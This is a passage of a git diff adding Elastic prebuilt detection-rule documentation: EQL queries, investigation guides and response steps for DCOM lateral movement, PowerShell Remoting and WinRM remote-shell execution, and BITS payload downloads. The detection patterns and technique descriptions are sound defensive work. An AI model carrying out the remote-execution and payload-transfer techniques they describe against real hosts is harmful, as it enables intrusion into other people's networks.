investigation steps* + + +- Which Timeline source events define the target MMC instance, spawned child, and remote source? + - Why: this asymmetric sequence links incoming "mmc.exe" network activity to a child process, and the alert may not preserve one reliable process identity. + - Focus: recover the target MMC network event and child process event, recording target MMC and child `process.entity_id`, `source.ip`, and child `process.command_line`. + - Implication: escalate if the chain does not resolve to one incoming MMC process spawning one child; lower suspicion only when it fits a recognized MMC administration source and child, then continue to command and network interpretation. +- Does the network event fit remote DCOM or RPC traffic into MMC? + - Focus: the recovered "mmc.exe" network event: `source.ip`, `source.port`, `destination.port`, `network.direction`, and `network.transport`. + - Implication: DCOM-style remote execution is supported by incoming TCP from a non-loopback `source.ip` with both ports in the high RPC range; concern rises when the source is a peer workstation, unrelated server, or unknown management origin. +- What did MMC execute through MMC20.Application COM automation? + - Focus: recovered child `process.executable` and `process.command_line`. + - Implication: escalate when MMC launches cmd.exe, PowerShell, script hosts, LOLBins, loaders, or download cradles; lower suspicion only when the exact child command is a recognized MMC snap-in helper or management binary and the source context also fits. +- Is the child binary identity consistent with the behavior, without treating signer trust as clearance? + - Focus: child `process.hash.sha256`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and entity context. + - Implication: mismatched PE metadata, user-writable paths, unexpected publishers, or quick follow-on LOLBin execution increases concern; a trusted signer confirms identity only and does not clear remote command execution. +- Does the target-side user and session fit remote administration from the recovered source? + - Focus: child `user.id`, `user.name`, and `user.domain`, compared with the recovered source and target host. + - Implication: escalate when the user, service context, or session is unexpected for that target or cannot explain administrative access from the source; lower suspicion when source, identity, and session match a recognized admin or jump-host path. +- Did the MMC-spawned child launch descendants after execution? + - Focus: same-host process events from the child, checking child-of-child `process.parent.entity_id`. !{investigate{"description":"","label":"Processes spawned by MMC on this host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.name","queryType":"phrase","value":"mmc.exe","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the child launches more execution chains; absent descendants keeps the case centered on the recovered remote command, not benign. +- Did the child make DNS or connection activity? + - Focus: same-host network events, checking DNS `dns.question.name` and connection `destination.ip`. !{investigate{"description":"","label":"Network events for MMC on this host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.name","queryType":"phrase","value":"mmc.exe","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: separate DNS events from connection events and keep the pivot bounded to the alert window. Missing network telemetry is unresolved, not benign. + - Implication: escalate when the child resolves rare domains or connects to staging or command infrastructure. +- Does the recovered source or child command appear on other hosts after local triage stays suspicious? + - Focus: same-host alerts for `host.id`. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if the same account is suspicious, compare same-`user.id` alerts for lateral-movement or credential-access patterns across other hosts. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: broaden only after local evidence remains suspicious or unresolved; use `source.ip` for spread and a distinctive child `process.command_line` fragment for tool reuse. + - Implication: expand scope when the same source touches more targets, the same child command appears elsewhere, or same-host alerts show lateral movement or defense evasion; keep the case local when the pattern stays confined and the workflow is otherwise explained. + +- Escalate when source identity, incoming high-RPC network shape, child intent, identity/session, or descendant/DNS/destination evidence supports unauthorized MMC20.Application execution; close only when recovered evidence, with external confirmation when telemetry cannot prove intent, binds one exact recognized MMC administration workflow with no contradictory follow-on evidence; mixed or incomplete evidence means preserve and escalate. + + +*False positive analysis* + + +- Remote MMC, server-management automation, or vendor/internal tooling can legitimately trigger this rule when a management host uses DCOM to drive MMC snap-ins or support commands. Confirm the recovered `source.ip` is a recognized admin, jump, or tooling host; child `process.executable` and `process.command_line` show the exact console/helper action; `user.id` or `user.name` fits that path; child `process.hash.sha256` or `process.code_signature.subject_name` is stable when tooling is involved; and descendant, DNS, and connection evidence stays quiet. If inventory or change records are unavailable, telemetry-only closure still requires current evidence to prove the exact workflow; prior recurrence of the same `source.ip`, child command, and `host.id` pattern is corroboration, not closure by itself. +- Before creating an exception, anchor it on the minimum confirmed workflow pattern: recognized `source.ip`, child `process.executable`, stable `process.command_line`, expected `user.id` or `user.name`, and the relevant `host.id` scope. Avoid exceptions on `process.parent.name` of "mmc.exe" or high RPC ports alone. + + +*Response and remediation* + + +- If confirmed benign, record the recovered `source.ip`, child `process.executable`, child `process.command_line`, `user.id` or `user.name`, and target `host.id` that established the management workflow, then reverse any temporary containment. Create an exception only if the same pattern recurs consistently across prior alerts. +- If suspicious but unconfirmed, preserve a case export of the Timeline source events, the target MMC and child process instance IDs, child command line, source socket, and DNS/destination indicators before containment or cleanup. +- If suspicious but unconfirmed, apply reversible containment tied to the evidence, such as temporary DCOM/RPC restrictions from the recovered `source.ip` to the target `host.id`; isolate the host only when the child command or follow-on activity indicates payload execution and the host role can tolerate it. +- If confirmed malicious, first preserve the target MMC instance, child command, recovered source, descendant processes, and malicious DNS or destination indicators. Then isolate the target host and contain the recovered source system if it is in response scope; terminate processes or delete artifacts only after preservation and scoping. +- Review other hosts touched by the same recovered `source.ip` or child `process.command_line` pattern before terminating additional processes or removing artifacts so scoping completes before evidence is destroyed. +- Eradicate only scripts, binaries, persistence, or configuration changes identified during the investigation, then remediate the account, source host, or remote administration path that allowed the DCOM execution. +- Post-incident hardening: keep Windows Firewall enabled, disable unnecessary Microsoft Management Console inbound access, restrict DCOM/RPC between workstations, limit remote administrative rights to recognized jump hosts, and record the evidence and control changes for future triage. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + [network where host.os.type == "windows" and event.type == "start" and process.name : "mmc.exe" and source.port >= 49152 and + destination.port >= 49152 and source.ip != "127.0.0.1" and source.ip != "::1" and + network.direction : ("incoming", "ingress") and network.transport == "tcp" + ] by process.entity_id + [process where host.os.type == "windows" and event.type == "start" and process.parent.name : "mmc.exe" + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: MMC +** ID: T1218.014 +** Reference URL: https://attack.mitre.org/techniques/T1218/014/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-incoming-dcom-lateral-movement-with-shellbrowserwindow-or-shellwindows.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-incoming-dcom-lateral-movement-with-shellbrowserwindow-or-shellwindows.asciidoc new file mode 100644 index 0000000000..d2871fc0f7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-incoming-dcom-lateral-movement-with-shellbrowserwindow-or-shellwindows.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-incoming-dcom-lateral-movement-with-shellbrowserwindow-or-shellwindows]] +=== Incoming DCOM Lateral Movement with ShellBrowserWindow or ShellWindows + +Identifies use of Distributed Component Object Model (DCOM) to run commands from a remote host, which are launched via the ShellBrowserWindow or ShellWindows Application COM Object. This behavior may indicate an attacker abusing a DCOM application to stealthily move laterally. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Incoming DCOM Lateral Movement with ShellBrowserWindow or ShellWindows* + + +DCOM enables software components to communicate over a network, often used in Windows environments for legitimate inter-process communication. Adversaries exploit DCOM, particularly ShellBrowserWindow or ShellWindows, to execute commands remotely, facilitating stealthy lateral movement. The detection rule identifies suspicious network activity and process creation patterns, such as incoming TCP connections to high ports and explorer.exe spawning processes, which may indicate DCOM abuse. + + +*Possible investigation steps* + + +- Review the network activity to identify the source IP address of the incoming TCP connection. Verify if the source IP is known or expected within the network environment. +- Examine the process tree for explorer.exe to identify any unusual or unexpected child processes that were spawned. Investigate these processes for any signs of malicious activity. +- Check the destination port and source port numbers to determine if they are commonly used for legitimate services or if they are unusual for the environment. +- Correlate the event with other security logs or alerts to identify any additional suspicious activities or patterns associated with the same source IP or process entity. +- Investigate the user account associated with the explorer.exe process to determine if there are any signs of compromise or unauthorized access. +- Review historical data for any previous occurrences of similar network connections or process creations to identify potential patterns or repeated attempts. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger the rule due to the use of DCOM for remote management tasks. Users can create exceptions for known update processes by identifying their specific network and process patterns. +- Internal IT management tools that utilize DCOM for remote administration might cause false positives. Review and whitelist these tools by confirming their source IP addresses and process behaviors. +- Automated scripts or scheduled tasks that leverage DCOM for legitimate purposes can be mistaken for lateral movement. Document and exclude these tasks by correlating their execution times and process chains. +- Network scanning or monitoring tools that generate high-port TCP connections could be misinterpreted as suspicious activity. Validate and exclude these tools by cross-referencing their network traffic with known benign sources. +- User-initiated remote desktop sessions or file transfers using DCOM may appear as lateral movement. Verify and exclude these activities by checking user authentication logs and session details. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further lateral movement and potential data exfiltration. +- Terminate any suspicious processes spawned by explorer.exe that are not part of normal operations, focusing on those initiated through high TCP ports. +- Conduct a thorough review of recent network connections and process creation logs on the affected host to identify any additional compromised systems or lateral movement attempts. +- Reset credentials for any accounts that were active on the affected host during the time of the alert to prevent unauthorized access. +- Apply patches and updates to the affected systems to address any vulnerabilities that may have been exploited during the attack. +- Enhance monitoring and logging on the network to detect similar DCOM abuse attempts, ensuring that alerts are configured for high TCP port activity and unusual process spawning by explorer.exe. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional containment or remediation actions are necessary. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5s + [network where host.os.type == "windows" and event.type == "start" and process.name : "explorer.exe" and + network.direction : ("incoming", "ingress") and network.transport == "tcp" and + source.port > 49151 and destination.port > 49151 and source.ip != "127.0.0.1" and source.ip != "::1" + ] by process.entity_id + [process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "explorer.exe" + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-incoming-execution-via-powershell-remoting.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-incoming-execution-via-powershell-remoting.asciidoc new file mode 100644 index 0000000000..3dead9cc29 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-incoming-execution-via-powershell-remoting.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-incoming-execution-via-powershell-remoting]] +=== Incoming Execution via PowerShell Remoting + +Identifies remote execution via Windows PowerShell remoting. Windows PowerShell remoting allows a user to run any Windows PowerShell command on one or more remote computers. This could be an indication of lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Incoming Execution via PowerShell Remoting* + + +PowerShell Remoting enables administrators to execute commands on remote Windows systems, facilitating efficient management. However, adversaries can exploit this feature for lateral movement within a network. The detection rule identifies suspicious activity by monitoring network traffic on specific ports and processes initiated by PowerShell Remoting, flagging potential unauthorized remote executions. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify the source IP address involved in the alert, ensuring it is not a known or authorized management system. +- Check the destination port (5985 or 5986) to confirm it aligns with PowerShell Remoting activity and verify if the connection was expected or authorized. +- Investigate the process tree on the affected host to determine if the process initiated by wsmprovhost.exe is legitimate or if it shows signs of suspicious activity. +- Examine the parent process of wsmprovhost.exe to identify any unusual or unauthorized processes that may have triggered the PowerShell Remoting session. +- Correlate the event with user activity logs to determine if the remote execution was performed by a legitimate user or if there are signs of compromised credentials. +- Assess the risk score and severity in the context of the organization's environment to prioritize the response and determine if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- Legitimate administrative tasks using PowerShell Remoting can trigger the rule. To manage this, identify and whitelist known administrative IP addresses or user accounts that frequently perform remote management tasks. +- Automated scripts or scheduled tasks that use PowerShell Remoting for system maintenance might be flagged. Review and document these scripts, then create exceptions for their specific process names or execution paths. +- Security tools or monitoring solutions that leverage PowerShell Remoting for legitimate purposes may cause alerts. Verify these tools and exclude their associated network traffic or processes from the detection rule. +- Internal IT support activities that involve remote troubleshooting using PowerShell Remoting can be mistaken for threats. Maintain a list of support personnel and their IP addresses to exclude them from triggering alerts. +- Regular software updates or patch management processes that utilize PowerShell Remoting should be considered. Identify these processes and exclude their network traffic or process executions to prevent false positives. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further lateral movement by the adversary. +- Terminate any suspicious PowerShell processes identified, especially those initiated by wsmprovhost.exe, to stop unauthorized remote executions. +- Conduct a thorough review of recent user activity and access logs on the affected host to identify any unauthorized access or changes. +- Reset credentials for any accounts that were used in the suspicious activity to prevent further unauthorized access. +- Apply patches and updates to the affected systems to address any vulnerabilities that may have been exploited. +- Enhance monitoring on the network for unusual activity on ports 5985 and 5986 to detect any future attempts at unauthorized PowerShell Remoting. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan = 30s + [network where host.os.type == "windows" and network.direction : ("incoming", "ingress") and destination.port in (5985, 5986) and + source.ip != "127.0.0.1" and source.ip != "::1"] + [process where host.os.type == "windows" and + event.type == "start" and process.parent.name : "wsmprovhost.exe" and not process.executable : "?:\\Windows\\System32\\conhost.exe"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Windows Remote Management +** ID: T1021.006 +** Reference URL: https://attack.mitre.org/techniques/T1021/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-incoming-execution-via-winrm-remote-shell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-incoming-execution-via-winrm-remote-shell.asciidoc new file mode 100644 index 0000000000..1291726f0a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-incoming-execution-via-winrm-remote-shell.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-incoming-execution-via-winrm-remote-shell]] +=== Incoming Execution via WinRM Remote Shell + +Identifies remote execution via Windows Remote Management (WinRM) remote shell on a target host. This could be an indication of lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Data Source: SentinelOne +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Incoming Execution via WinRM Remote Shell* + + +Windows Remote Management (WinRM) is a protocol that allows for remote management and execution of commands on Windows machines. While beneficial for legitimate administrative tasks, adversaries can exploit WinRM for lateral movement by executing commands remotely. The detection rule identifies suspicious activity by monitoring network traffic on specific ports and processes initiated by WinRM, flagging potential unauthorized remote executions. + + +*Possible investigation steps* + + +- Review the network traffic logs to confirm the presence of incoming connections on ports 5985 or 5986, which are used by WinRM, and verify if these connections are expected or authorized. +- Identify the source IP address of the incoming connection and determine if it belongs to a known and trusted network or device. Investigate any unfamiliar or suspicious IP addresses. +- Examine the process tree for the process initiated by winrshost.exe to identify any unusual or unauthorized processes that were started as a result of the remote execution. +- Check the user account associated with the WinRM session to ensure it is legitimate and has not been compromised. Look for any signs of unauthorized access or privilege escalation. +- Correlate the event with other security logs, such as authentication logs, to identify any related suspicious activities or patterns that might indicate lateral movement or a broader attack campaign. +- Investigate the timeline of events to determine if there are any other related alerts or activities occurring around the same time that could provide additional context or evidence of malicious intent. + + +*False positive analysis* + + +- Legitimate administrative tasks using WinRM can trigger alerts. Regularly review and whitelist known administrative IP addresses or users to reduce false positives. +- Automated scripts or management tools that use WinRM for routine tasks may be flagged. Identify these scripts and create exceptions for their specific process names or execution paths. +- Monitoring tools that check system health via WinRM might be misidentified as threats. Exclude these tools by specifying their source IPs or process names in the detection rule. +- Scheduled tasks that utilize WinRM for updates or maintenance can cause alerts. Document these tasks and adjust the rule to ignore their specific execution patterns. +- Internal security scans or compliance checks using WinRM should be accounted for. Coordinate with security teams to recognize these activities and exclude them from triggering alerts. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further lateral movement and potential data exfiltration. +- Terminate any suspicious processes associated with WinRM, particularly those not originating from legitimate administrative tools or known good sources. +- Review and revoke any unauthorized access credentials or accounts that may have been used to initiate the WinRM session. +- Conduct a thorough examination of the affected host for any additional signs of compromise, such as unauthorized software installations or changes to system configurations. +- Restore the affected system from a known good backup if any malicious activity or unauthorized changes are confirmed. +- Implement network segmentation to limit the ability of threats to move laterally across the network, focusing on restricting access to critical systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=30s + [network where host.os.type == "windows" and process.pid == 4 and network.direction : ("incoming", "ingress") and + destination.port in (5985, 5986) and source.ip != "127.0.0.1" and source.ip != "::1"] + [process where host.os.type == "windows" and + event.type == "start" and process.parent.name : "winrshost.exe" and not process.executable : "?:\\Windows\\System32\\conhost.exe"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Windows Remote Management +** ID: T1021.006 +** Reference URL: https://attack.mitre.org/techniques/T1021/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ingress-transfer-via-windows-bits.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ingress-transfer-via-windows-bits.asciidoc new file mode 100644 index 0000000000..d52a343f7d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ingress-transfer-via-windows-bits.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-ingress-transfer-via-windows-bits]] +=== Ingress Transfer via Windows BITS + +Identifies downloads of executable and archive files via the Windows Background Intelligent Transfer Service (BITS). Adversaries could leverage Windows BITS transfer jobs to download remote payloads. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1197/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Ingress Transfer via Windows BITS* + + +Windows Background Intelligent Transfer Service (BITS) is a technology that allows the transfer of files between a client and a server, which makes it a dual-use mechanism, being used by both legitimate apps and attackers. When malicious applications create BITS jobs, files are downloaded or uploaded in the context of the service host process, which can bypass security protections, and it helps to obscure which application requested the transfer. + +This rule identifies such abuse by monitoring for file renaming events involving "svchost.exe" and "BIT*.tmp" on Windows systems. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Gain context into the BITS transfer. + - Try to determine the process that initiated the BITS transfer. + - Search `bitsadmin.exe` processes and examine their command lines. + - Look for unusual processes loading `Bitsproxy.dll` and other BITS-related DLLs. + - Try to determine the origin of the file. + - Inspect network connections initiated by `svchost.exe`. + - Inspect `Microsoft-Windows-Bits-Client/Operational` Windows logs, specifically the event ID 59, for unusual events. + - Velociraptor can be used to extract these entries using the https://docs.velociraptor.app/exchange/artifacts/pages/bitsadmin/[bitsadmin artifact]. + - Check the reputation of the remote server involved in the BITS transfer, such as its IP address or domain, using threat intelligence platforms or online reputation services. + - Check if the domain is newly registered or unexpected. + - Use the identified domain as an indicator of compromise (IoCs) to scope other compromised hosts in the environment. + - https://github.com/fireeye/BitsParser[BitsParser] can be used to parse BITS database files to extract BITS job information. +- Examine the details of the dropped file, and whether it was executed. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the involved executables using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process's `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + + +*False positive analysis* + + +- 